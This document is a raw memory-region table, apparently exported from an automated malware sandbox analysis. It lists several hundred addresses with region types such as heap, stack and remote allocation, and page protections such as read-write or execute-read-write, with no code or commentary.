7FFAAB9B0000
|
trusted library allocation
|
page read and write
|
||
|
57A1000
|
trusted library allocation
|
page read and write
|
||
|
8D80000
|
unkown
|
page read and write
|
||
|
A883000
|
unkown
|
page read and write
|
||
|
7FF556FD2000
|
unkown
|
page readonly
|
||
|
7DF4689B1000
|
unkown
|
page execute read
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF55706A000
|
unkown
|
page readonly
|
||
|
7FF5573EA000
|
unkown
|
page readonly
|
||
|
E9B0000
|
heap
|
page read and write
|
||
|
C3A8000
|
unkown
|
page read and write
|
||
|
7FF557669000
|
unkown
|
page readonly
|
||
|
7FF557037000
|
unkown
|
page readonly
|
||
|
1A8C37F0000
|
heap
|
page read and write
|
||
|
20477064000
|
heap
|
page read and write
|
||
|
7FF5573DE000
|
unkown
|
page readonly
|
||
|
204771E4000
|
heap
|
page read and write
|
||
|
7FF556E98000
|
unkown
|
page readonly
|
||
|
7DF468991000
|
unkown
|
page execute read
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
72C3000
|
unkown
|
page read and write
|
||
|
204771CD000
|
heap
|
page read and write
|
||
|
DA8000
|
heap
|
page read and write
|
||
|
BE0000
|
trusted library allocation
|
page execute and read and write
|
||
|
20477124000
|
heap
|
page read and write
|
||
|
C6E4000
|
unkown
|
page read and write
|
||
|
2047724C000
|
heap
|
page read and write
|
||
|
435000
|
heap
|
page read and write
|
||
|
10203000
|
unkown
|
page read and write
|
||
|
20477300000
|
heap
|
page read and write
|
||
|
543000
|
heap
|
page read and write
|
||
|
20477141000
|
heap
|
page read and write
|
||
|
1A8C395D000
|
heap
|
page read and write
|
||
|
E260000
|
unkown
|
page read and write
|
||
|
20477013000
|
heap
|
page read and write
|
||
|
47EE000
|
unkown
|
page read and write
|
||
|
7FF557437000
|
unkown
|
page readonly
|
||
|
995E000
|
stack
|
page read and write
|
||
|
7FF556E66000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FFAAB800000
|
trusted library allocation
|
page read and write
|
||
|
7FF5570A6000
|
unkown
|
page readonly
|
||
|
22370000
|
trusted library allocation
|
page execute and read and write
|
||
|
C6F8000
|
unkown
|
page read and write
|
||
|
1A8DD863000
|
heap
|
page read and write
|
||
|
43AD000
|
stack
|
page read and write
|
||
|
7FF5573C1000
|
unkown
|
page readonly
|
||
|
7FF556E75000
|
unkown
|
page readonly
|
||
|
6D4B000
|
stack
|
page read and write
|
||
|
7FF557661000
|
unkown
|
page readonly
|
||
|
8EEE000
|
unkown
|
page read and write
|
||
|
F38000
|
unkown
|
page read and write
|
||
|
6DA0000
|
direct allocation
|
page read and write
|
||
|
20476FFD000
|
heap
|
page read and write
|
||
|
20477311000
|
heap
|
page read and write
|
||
|
7FFAAB830000
|
trusted library allocation
|
page execute and read and write
|
||
|
2D0B000
|
stack
|
page read and write
|
||
|
2200C000
|
stack
|
page read and write
|
||
|
E260000
|
unkown
|
page read and write
|
||
|
204770C4000
|
heap
|
page read and write
|
||
|
1440000
|
unkown
|
page readonly
|
||
|
1A8C3B50000
|
heap
|
page read and write
|
||
|
C6C2000
|
unkown
|
page read and write
|
||
|
51F9000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
4FE6000
|
trusted library allocation
|
page read and write
|
||
|
73C5000
|
stack
|
page read and write
|
||
|
603000
|
heap
|
page read and write
|
||
|
2B1F000
|
stack
|
page read and write
|
||
|
20477279000
|
heap
|
page read and write
|
||
|
8D94000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
20475182000
|
heap
|
page read and write
|
||
|
2047713C000
|
heap
|
page read and write
|
||
|
6E0D000
|
stack
|
page read and write
|
||
|
84A3000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
A23B000
|
unkown
|
page read and write
|
||
|
7660000
|
trusted library allocation
|
page read and write
|
||
|
7FF5574C6000
|
unkown
|
page readonly
|
||
|
2047770E000
|
heap
|
page read and write
|
||
|
7FF557148000
|
unkown
|
page readonly
|
||
|
2CF0000
|
heap
|
page read and write
|
||
|
5610000
|
heap
|
page read and write
|
||
|
48E8000
|
trusted library allocation
|
page read and write
|
||
|
7FF55752A000
|
unkown
|
page readonly
|
||
|
6B7E000
|
stack
|
page read and write
|
||
|
7FFAAB9C0000
|
trusted library allocation
|
page read and write
|
||
|
B230000
|
system
|
page execute and read and write
|
||
|
F30000
|
unkown
|
page read and write
|
||
|
53A000
|
heap
|
page read and write
|
||
|
3140000
|
remote allocation
|
page execute and read and write
|
||
|
C1DD000
|
unkown
|
page read and write
|
||
|
8EC5000
|
unkown
|
page read and write
|
||
|
6B0E000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FFAAB870000
|
trusted library allocation
|
page read and write
|
||
|
1C0AC304000
|
heap
|
page read and write
|
||
|
4746000
|
unkown
|
page read and write
|
||
|
7FF55725B000
|
unkown
|
page readonly
|
||
|
5A76D7E000
|
stack
|
page read and write
|
||
|
C1DF000
|
unkown
|
page read and write
|
||
|
2B2D000
|
heap
|
page read and write
|
||
|
88F6000
|
unkown
|
page read and write
|
||
|
A85A000
|
unkown
|
page read and write
|
||
|
1A8C5D43000
|
trusted library allocation
|
page read and write
|
||
|
204776EA000
|
heap
|
page read and write
|
||
|
7FF55742B000
|
unkown
|
page readonly
|
||
|
7FF5572B6000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
4AD9000
|
unclassified section
|
page read and write
|
||
|
902C000
|
unkown
|
page read and write
|
||
|
7D0E000
|
stack
|
page read and write
|
||
|
1A8C5D66000
|
trusted library allocation
|
page read and write
|
||
|
BD5000
|
heap
|
page read and write
|
||
|
5601000
|
heap
|
page read and write
|
||
|
91D8000
|
stack
|
page read and write
|
||
|
BF1000
|
trusted library allocation
|
page execute and read and write
|
||
|
730000
|
trusted library allocation
|
page read and write
|
||
|
4BD3000
|
unclassified section
|
page read and write
|
||
|
1C56C190000
|
heap
|
page read and write
|
||
|
BC10000
|
unkown
|
page read and write
|
||
|
890F000
|
unkown
|
page read and write
|
||
|
7FF557148000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
2047514A000
|
heap
|
page read and write
|
||
|
77F0000
|
unkown
|
page read and write
|
||
|
891000
|
heap
|
page read and write
|
||
|
36D0000
|
heap
|
page read and write
|
||
|
BF0000
|
direct allocation
|
page read and write
|
||
|
6DB0000
|
direct allocation
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
C1DF000
|
unkown
|
page read and write
|
||
|
20477279000
|
heap
|
page read and write
|
||
|
1023000
|
heap
|
page read and write
|
||
|
D73000
|
heap
|
page read and write
|
||
|
4EFE000
|
trusted library allocation
|
page read and write
|
||
|
F1A0000
|
heap
|
page read and write
|
||
|
204770A1000
|
heap
|
page read and write
|
||
|
7FFAAB66D000
|
trusted library allocation
|
page execute and read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C10000
|
direct allocation
|
page read and write
|
||
|
20477736000
|
heap
|
page read and write
|
||
|
7FF556F84000
|
unkown
|
page readonly
|
||
|
8DFE000
|
unkown
|
page read and write
|
||
|
8F09000
|
unkown
|
page read and write
|
||
|
7FF5575B1000
|
unkown
|
page readonly
|
||
|
7FF55719C000
|
unkown
|
page readonly
|
||
|
7FF5573BB000
|
unkown
|
page readonly
|
||
|
C74000
|
heap
|
page read and write
|
||
|
4268000
|
heap
|
page read and write
|
||
|
76DB000
|
stack
|
page read and write
|
||
|
716B000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
20477077000
|
heap
|
page read and write
|
||
|
32C4000
|
unkown
|
page read and write
|
||
|
7FF55726A000
|
unkown
|
page readonly
|
||
|
5600000
|
heap
|
page read and write
|
||
|
C374000
|
unkown
|
page read and write
|
||
|
88B0000
|
unkown
|
page read and write
|
||
|
227E0000
|
unclassified section
|
page execute and read and write
|
||
|
8EF5000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF557476000
|
unkown
|
page readonly
|
||
|
7FF55730C000
|
unkown
|
page readonly
|
||
|
B040000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
BB0000
|
direct allocation
|
page read and write
|
||
|
8EDD000
|
unkown
|
page read and write
|
||
|
7FF557437000
|
unkown
|
page readonly
|
||
|
25AE000
|
unkown
|
page read and write
|
||
|
72FE000
|
unkown
|
page read and write
|
||
|
7FE000
|
stack
|
page read and write
|
||
|
798E000
|
stack
|
page read and write
|
||
|
9052000
|
unkown
|
page read and write
|
||
|
4780000
|
heap
|
page read and write
|
||
|
AEE7000
|
stack
|
page read and write
|
||
|
7FF557235000
|
unkown
|
page readonly
|
||
|
1024B000
|
unkown
|
page read and write
|
||
|
2047715D000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
8456000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
1A8DD8F9000
|
heap
|
page read and write
|
||
|
7FF5573E2000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF557599000
|
unkown
|
page readonly
|
||
|
2047516B000
|
heap
|
page read and write
|
||
|
2047700D000
|
heap
|
page read and write
|
||
|
7FF55714D000
|
unkown
|
page readonly
|
||
|
77C0000
|
unkown
|
page read and write
|
||
|
256C000
|
stack
|
page read and write
|
||
|
1A8DDA52000
|
heap
|
page read and write
|
||
|
8D6C000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7A50000
|
unkown
|
page readonly
|
||
|
2047717D000
|
heap
|
page read and write
|
||
|
5DD3000
|
heap
|
page read and write
|
||
|
22519000
|
direct allocation
|
page execute and read and write
|
||
|
2F09000
|
stack
|
page read and write
|
||
|
8D78000
|
unkown
|
page read and write
|
||
|
2047727D000
|
heap
|
page read and write
|
||
|
20477719000
|
heap
|
page read and write
|
||
|
33AE000
|
stack
|
page read and write
|
||
|
41B0000
|
trusted library allocation
|
page execute and read and write
|
||
|
1A8DD81C000
|
heap
|
page read and write
|
||
|
20476C57000
|
heap
|
page read and write
|
||
|
7FF55702F000
|
unkown
|
page readonly
|
||
|
7FF55748F000
|
unkown
|
page readonly
|
||
|
1A8DD89C000
|
heap
|
page read and write
|
||
|
65E000
|
stack
|
page read and write
|
||
|
C23A000
|
unkown
|
page read and write
|
||
|
47C0000
|
unkown
|
page read and write
|
||
|
1A8DDA5A000
|
heap
|
page read and write
|
||
|
1A8C3877000
|
heap
|
page read and write
|
||
|
20477757000
|
heap
|
page read and write
|
||
|
9052000
|
unkown
|
page read and write
|
||
|
7FF55764C000
|
unkown
|
page readonly
|
||
|
BBD0000
|
unkown
|
page readonly
|
||
|
7DF4A3130000
|
trusted library allocation
|
page execute and read and write
|
||
|
8D80000
|
unkown
|
page read and write
|
||
|
204751F5000
|
heap
|
page read and write
|
||
|
E13B000
|
stack
|
page read and write
|
||
|
7FF557302000
|
unkown
|
page readonly
|
||
|
2047715B000
|
heap
|
page read and write
|
||
|
1A8D54F1000
|
trusted library allocation
|
page read and write
|
||
|
1A8D54DF000
|
trusted library allocation
|
page read and write
|
||
|
B7B0000
|
direct allocation
|
page execute and read and write
|
||
|
8BD9000
|
stack
|
page read and write
|
||
|
7FF5575FC000
|
unkown
|
page readonly
|
||
|
20475300000
|
heap
|
page read and write
|
||
|
C59000
|
heap
|
page read and write
|
||
|
BD0000
|
heap
|
page read and write
|
||
|
62CC67C000
|
stack
|
page read and write
|
||
|
88F6000
|
unkown
|
page read and write
|
||
|
7FF5570C1000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
4F25000
|
trusted library allocation
|
page read and write
|
||
|
A0FF000
|
unkown
|
page read and write
|
||
|
2281F000
|
unclassified section
|
page execute and read and write
|
||
|
7FF5572A8000
|
unkown
|
page readonly
|
||
|
8E70000
|
direct allocation
|
page execute and read and write
|
||
|
8D78000
|
unkown
|
page read and write
|
||
|
C072000
|
unkown
|
page read and write
|
||
|
3450000
|
unkown
|
page read and write
|
||
|
C539000
|
unkown
|
page read and write
|
||
|
C99000
|
system
|
page execute and read and write
|
||
|
AC80000
|
unkown
|
page readonly
|
||
|
204776F2000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
543000
|
heap
|
page read and write
|
||
|
7FF55730C000
|
unkown
|
page readonly
|
||
|
20474FB0000
|
heap
|
page read and write
|
||
|
7276000
|
unkown
|
page read and write
|
||
|
AEE000
|
stack
|
page read and write
|
||
|
20477098000
|
heap
|
page read and write
|
||
|
6EC5D000
|
unkown
|
page read and write
|
||
|
A888000
|
unkown
|
page read and write
|
||
|
1A8C5998000
|
trusted library allocation
|
page read and write
|
||
|
A00E000
|
stack
|
page read and write
|
||
|
7FFAAB960000
|
trusted library allocation
|
page read and write
|
||
|
20476C5C000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
5540000
|
trusted library allocation
|
page read and write
|
||
|
204770A4000
|
heap
|
page read and write
|
||
|
D87000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C50000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
20476FF7000
|
heap
|
page read and write
|
||
|
7FF556F26000
|
unkown
|
page readonly
|
||
|
72FC000
|
unkown
|
page read and write
|
||
|
3B40000
|
remote allocation
|
page execute and read and write
|
||
|
7FF5570CA000
|
unkown
|
page readonly
|
||
|
20477056000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
A08D000
|
stack
|
page read and write
|
||
|
F1A2000
|
heap
|
page read and write
|
||
|
7FF557434000
|
unkown
|
page readonly
|
||
|
81BC000
|
stack
|
page read and write
|
||
|
2DC0000
|
trusted library section
|
page read and write
|
||
|
BBC0000
|
unkown
|
page read and write
|
||
|
20477021000
|
heap
|
page read and write
|
||
|
BFB4000
|
stack
|
page read and write
|
||
|
46DD000
|
direct allocation
|
page execute and read and write
|
||
|
C4A2000
|
unkown
|
page read and write
|
||
|
D89000
|
heap
|
page read and write
|
||
|
717E000
|
unkown
|
page read and write
|
||
|
97DF000
|
stack
|
page read and write
|
||
|
97E000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
204771E1000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF556FF3000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
E290000
|
unkown
|
page read and write
|
||
|
C656000
|
unkown
|
page read and write
|
||
|
4F40000
|
remote allocation
|
page execute and read and write
|
||
|
20477135000
|
heap
|
page read and write
|
||
|
20475308000
|
heap
|
page read and write
|
||
|
7FF55756D000
|
unkown
|
page readonly
|
||
|
20477483000
|
heap
|
page read and write
|
||
|
20477134000
|
heap
|
page read and write
|
||
|
8310000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
547E000
|
stack
|
page read and write
|
||
|
5A3B000
|
trusted library allocation
|
page read and write
|
||
|
7FF5575D0000
|
unkown
|
page readonly
|
||
|
7FFAAB940000
|
trusted library allocation
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
1023000
|
heap
|
page read and write
|
||
|
4E3D000
|
trusted library allocation
|
page read and write
|
||
|
2047775C000
|
heap
|
page read and write
|
||
|
7FF557411000
|
unkown
|
page readonly
|
||
|
32C7000
|
unkown
|
page read and write
|
||
|
8D6C000
|
unkown
|
page read and write
|
||
|
204776EB000
|
heap
|
page read and write
|
||
|
20475146000
|
heap
|
page read and write
|
||
|
7BC1000
|
unkown
|
page read and write
|
||
|
BBBB000
|
stack
|
page read and write
|
||
|
D1D000
|
heap
|
page read and write
|
||
|
A85E000
|
unkown
|
page read and write
|
||
|
2047770E000
|
heap
|
page read and write
|
||
|
32B9000
|
unkown
|
page read and write
|
||
|
20477129000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C1E9000
|
unkown
|
page read and write
|
||
|
20477218000
|
heap
|
page read and write
|
||
|
DE0000
|
heap
|
page read and write
|
||
|
5209000
|
trusted library allocation
|
page read and write
|
||
|
7FF5572B6000
|
unkown
|
page readonly
|
||
|
10A5000
|
heap
|
page read and write
|
||
|
453D000
|
direct allocation
|
page execute and read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
F38000
|
unkown
|
page read and write
|
||
|
204770F0000
|
heap
|
page read and write
|
||
|
8DA6000
|
unkown
|
page read and write
|
||
|
2047711B000
|
heap
|
page read and write
|
||
|
C480000
|
unkown
|
page read and write
|
||
|
C101000
|
unkown
|
page read and write
|
||
|
C78F000
|
unkown
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
7FF557257000
|
unkown
|
page readonly
|
||
|
7FF557642000
|
unkown
|
page readonly
|
||
|
7FF557487000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20476C3F000
|
heap
|
page read and write
|
||
|
7FF55747D000
|
unkown
|
page readonly
|
||
|
4A1B000
|
stack
|
page read and write
|
||
|
83F000
|
stack
|
page read and write
|
||
|
7FF5570BB000
|
unkown
|
page readonly
|
||
|
7DF4689B1000
|
unkown
|
page execute read
|
||
|
7D0E000
|
stack
|
page read and write
|
||
|
2047516F000
|
heap
|
page read and write
|
||
|
7FF5573DE000
|
unkown
|
page readonly
|
||
|
20477118000
|
heap
|
page read and write
|
||
|
4734000
|
unkown
|
page read and write
|
||
|
B050000
|
unkown
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
7FF55724C000
|
unkown
|
page readonly
|
||
|
705000
|
heap
|
page read and write
|
||
|
7FF5573E6000
|
unkown
|
page readonly
|
||
|
2047715B000
|
heap
|
page read and write
|
||
|
5D22000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
576F000
|
stack
|
page read and write
|
||
|
10B0000
|
unkown
|
page readonly
|
||
|
7FF55726A000
|
unkown
|
page readonly
|
||
|
8AE6000
|
unkown
|
page read and write
|
||
|
472C000
|
unkown
|
page read and write
|
||
|
7AE000
|
stack
|
page read and write
|
||
|
4540000
|
remote allocation
|
page execute and read and write
|
||
|
20477A9C000
|
heap
|
page read and write
|
||
|
20477131000
|
heap
|
page read and write
|
||
|
7FFAAB900000
|
trusted library allocation
|
page read and write
|
||
|
7FF557083000
|
unkown
|
page readonly
|
||
|
86E0000
|
direct allocation
|
page read and write
|
||
|
20477111000
|
heap
|
page read and write
|
||
|
B42F000
|
stack
|
page read and write
|
||
|
7FF5569CB000
|
unkown
|
page readonly
|
||
|
4391000
|
heap
|
page read and write
|
||
|
C740000
|
unkown
|
page read and write
|
||
|
4718000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20477693000
|
heap
|
page read and write
|
||
|
20477215000
|
heap
|
page read and write
|
||
|
2047730E000
|
heap
|
page read and write
|
||
|
1172A000
|
unkown
|
page read and write
|
||
|
7FF556F87000
|
unkown
|
page readonly
|
||
|
AFFF000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
55C0000
|
heap
|
page read and write
|
||
|
20477019000
|
heap
|
page read and write
|
||
|
204776DF000
|
heap
|
page read and write
|
||
|
C072000
|
unkown
|
page read and write
|
||
|
79B0000
|
unkown
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
C3ED000
|
unkown
|
page read and write
|
||
|
7FF55763D000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
B5AE000
|
stack
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
81F0000
|
trusted library allocation
|
page read and write
|
||
|
46E0000
|
unkown
|
page read and write
|
||
|
7FF5573E2000
|
unkown
|
page readonly
|
||
|
467E000
|
stack
|
page read and write
|
||
|
C18A000
|
unkown
|
page read and write
|
||
|
6DC0000
|
direct allocation
|
page read and write
|
||
|
1A8C598A000
|
trusted library allocation
|
page read and write
|
||
|
84DC000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
C23A000
|
unkown
|
page read and write
|
||
|
A222000
|
unkown
|
page read and write
|
||
|
6EC56000
|
unkown
|
page readonly
|
||
|
7FF557602000
|
unkown
|
page readonly
|
||
|
7FF557493000
|
unkown
|
page readonly
|
||
|
5A76BFE000
|
stack
|
page read and write
|
||
|
7FF557103000
|
unkown
|
page readonly
|
||
|
204770ED000
|
heap
|
page read and write
|
||
|
C4B2000
|
unkown
|
page read and write
|
||
|
32C9000
|
unkown
|
page read and write
|
||
|
88ED000
|
unkown
|
page read and write
|
||
|
9259000
|
stack
|
page read and write
|
||
|
20475189000
|
heap
|
page read and write
|
||
|
7FF557463000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
22350000
|
trusted library allocation
|
page execute and read and write
|
||
|
A0DA000
|
unkown
|
page read and write
|
||
|
B6AA000
|
stack
|
page read and write
|
||
|
20477191000
|
heap
|
page read and write
|
||
|
7FF557187000
|
unkown
|
page readonly
|
||
|
6F0000
|
unclassified section
|
page execute and read and write
|
||
|
1A8C5323000
|
heap
|
page read and write
|
||
|
7FF557535000
|
unkown
|
page readonly
|
||
|
1A8DDA28000
|
heap
|
page read and write
|
||
|
2D3E000
|
stack
|
page read and write
|
||
|
C669000
|
unkown
|
page read and write
|
||
|
7FF55742B000
|
unkown
|
page readonly
|
||
|
709000
|
unclassified section
|
page execute and read and write
|
||
|
C4A2000
|
unkown
|
page read and write
|
||
|
2A35000
|
heap
|
page read and write
|
||
|
AFFF000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
2F1E000
|
stack
|
page read and write
|
||
|
7FF5570D6000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
C3E7000
|
unkown
|
page read and write
|
||
|
4DA3000
|
trusted library allocation
|
page read and write
|
||
|
7FF55763D000
|
unkown
|
page readonly
|
||
|
553E000
|
stack
|
page read and write
|
||
|
7FF557257000
|
unkown
|
page readonly
|
||
|
25EE000
|
stack
|
page read and write
|
||
|
20477168000
|
heap
|
page read and write
|
||
|
73B5000
|
heap
|
page read and write
|
||
|
7365000
|
heap
|
page read and write
|
||
|
20477118000
|
heap
|
page read and write
|
||
|
76B0000
|
unkown
|
page read and write
|
||
|
1A8C38B0000
|
heap
|
page read and write
|
||
|
A1FD000
|
unkown
|
page read and write
|
||
|
543000
|
heap
|
page read and write
|
||
|
7FF556BFF000
|
unkown
|
page readonly
|
||
|
DDE000
|
heap
|
page read and write
|
||
|
204770AC000
|
heap
|
page read and write
|
||
|
50F0000
|
heap
|
page read and write
|
||
|
116D0000
|
unkown
|
page read and write
|
||
|
351E000
|
stack
|
page read and write
|
||
|
7FF556F31000
|
unkown
|
page readonly
|
||
|
204770F1000
|
heap
|
page read and write
|
||
|
8067000
|
stack
|
page read and write
|
||
|
20477115000
|
heap
|
page read and write
|
||
|
5121000
|
trusted library allocation
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
4769000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
3118000
|
stack
|
page read and write
|
||
|
57CE000
|
stack
|
page read and write
|
||
|
7FF5572A2000
|
unkown
|
page readonly
|
||
|
57F8000
|
trusted library allocation
|
page read and write
|
||
|
7FF557287000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
2047702A000
|
heap
|
page read and write
|
||
|
20477160000
|
heap
|
page read and write
|
||
|
7FF557045000
|
unkown
|
page readonly
|
||
|
54FE000
|
stack
|
page read and write
|
||
|
9F8F000
|
stack
|
page read and write
|
||
|
B628000
|
stack
|
page read and write
|
||
|
1C56C1D0000
|
heap
|
page read and write
|
||
|
8320000
|
unkown
|
page readonly
|
||
|
1A8DD866000
|
heap
|
page read and write
|
||
|
2047518E000
|
heap
|
page read and write
|
||
|
2047720D000
|
heap
|
page read and write
|
||
|
6D60000
|
direct allocation
|
page read and write
|
||
|
8F4D000
|
unkown
|
page read and write
|
||
|
7FF557174000
|
unkown
|
page readonly
|
||
|
8ED5000
|
unkown
|
page read and write
|
||
|
1A8C54C0000
|
heap
|
page read and write
|
||
|
40B3000
|
heap
|
page read and write
|
||
|
7FFAAB8A0000
|
trusted library allocation
|
page read and write
|
||
|
1A8C5556000
|
trusted library allocation
|
page read and write
|
||
|
7306000
|
unkown
|
page read and write
|
||
|
9013000
|
unkown
|
page read and write
|
||
|
7173000
|
unkown
|
page read and write
|
||
|
7FF556E75000
|
unkown
|
page readonly
|
||
|
204776C6000
|
heap
|
page read and write
|
||
|
C3AE000
|
unkown
|
page read and write
|
||
|
1A8C5D1A000
|
trusted library allocation
|
page read and write
|
||
|
7FF55761F000
|
unkown
|
page readonly
|
||
|
8D72000
|
unkown
|
page read and write
|
||
|
7FF5572BD000
|
unkown
|
page readonly
|
||
|
7A4B000
|
stack
|
page read and write
|
||
|
7FF557426000
|
unkown
|
page readonly
|
||
|
BC10000
|
unkown
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
7FF557501000
|
unkown
|
page readonly
|
||
|
2047706F000
|
heap
|
page read and write
|
||
|
9F0000
|
unkown
|
page readonly
|
||
|
7909000
|
stack
|
page read and write
|
||
|
32D7000
|
unkown
|
page read and write
|
||
|
8170000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFAAB660000
|
trusted library allocation
|
page read and write
|
||
|
C2D3000
|
unkown
|
page read and write
|
||
|
2C8F000
|
stack
|
page read and write
|
||
|
10806000
|
system
|
page read and write
|
||
|
20477151000
|
heap
|
page read and write
|
||
|
7FFAAB9D0000
|
trusted library allocation
|
page read and write
|
||
|
109FF000
|
system
|
page read and write
|
||
|
7480000
|
heap
|
page execute and read and write
|
||
|
7FF557026000
|
unkown
|
page readonly
|
||
|
20477095000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
580F000
|
stack
|
page read and write
|
||
|
7FF5575FC000
|
unkown
|
page readonly
|
||
|
7FF5574F4000
|
unkown
|
page readonly
|
||
|
204771BD000
|
heap
|
page read and write
|
||
|
4E64000
|
trusted library allocation
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
330A000
|
unkown
|
page read and write
|
||
|
2C8F000
|
stack
|
page read and write
|
||
|
D14000
|
heap
|
page read and write
|
||
|
22190000
|
unclassified section
|
page execute and read and write
|
||
|
7FF5574F4000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF5571E6000
|
unkown
|
page readonly
|
||
|
7FF556FFB000
|
unkown
|
page readonly
|
||
|
61E000
|
heap
|
page read and write
|
||
|
435000
|
heap
|
page read and write
|
||
|
C3B3000
|
unkown
|
page read and write
|
||
|
20477720000
|
heap
|
page read and write
|
||
|
9CDC000
|
stack
|
page read and write
|
||
|
7FF557293000
|
unkown
|
page readonly
|
||
|
22330000
|
trusted library allocation
|
page execute and read and write
|
||
|
C2E4000
|
unkown
|
page read and write
|
||
|
7680000
|
trusted library allocation
|
page read and write
|
||
|
5195000
|
trusted library allocation
|
page read and write
|
||
|
477D000
|
unkown
|
page read and write
|
||
|
7FF5575D5000
|
unkown
|
page readonly
|
||
|
2047704E000
|
heap
|
page read and write
|
||
|
C2D3000
|
unkown
|
page read and write
|
||
|
4732000
|
unkown
|
page read and write
|
||
|
58D0000
|
heap
|
page read and write
|
||
|
7FF557426000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
6B35000
|
heap
|
page execute and read and write
|
||
|
6B30000
|
heap
|
page execute and read and write
|
||
|
2047517D000
|
heap
|
page read and write
|
||
|
C212000
|
unkown
|
page read and write
|
||
|
DDE000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
204771B4000
|
heap
|
page read and write
|
||
|
2047773E000
|
heap
|
page read and write
|
||
|
840D000
|
stack
|
page read and write
|
||
|
204770F8000
|
heap
|
page read and write
|
||
|
10C73000
|
system
|
page read and write
|
||
|
45A3000
|
trusted library allocation
|
page execute and read and write
|
||
|
D1D000
|
heap
|
page read and write
|
||
|
57B9000
|
trusted library allocation
|
page read and write
|
||
|
32E3000
|
unkown
|
page read and write
|
||
|
1024B000
|
unkown
|
page read and write
|
||
|
8C59000
|
stack
|
page read and write
|
||
|
C06D000
|
unkown
|
page read and write
|
||
|
8DFE000
|
unkown
|
page read and write
|
||
|
7FF55745B000
|
unkown
|
page readonly
|
||
|
C626000
|
unkown
|
page read and write
|
||
|
4F1B000
|
stack
|
page read and write
|
||
|
74CE000
|
stack
|
page read and write
|
||
|
D89000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF557434000
|
unkown
|
page readonly
|
||
|
2047727D000
|
heap
|
page read and write
|
||
|
3F0000
|
heap
|
page read and write
|
||
|
6C0000
|
trusted library allocation
|
page read and write
|
||
|
7FF557065000
|
unkown
|
page readonly
|
||
|
20477208000
|
heap
|
page read and write
|
||
|
C04B000
|
unkown
|
page read and write
|
||
|
BEBF000
|
stack
|
page read and write
|
||
|
9B5000
|
stack
|
page read and write
|
||
|
4880000
|
unkown
|
page read and write
|
||
|
2940000
|
heap
|
page read and write
|
||
|
7FFAAB780000
|
trusted library allocation
|
page execute and read and write
|
||
|
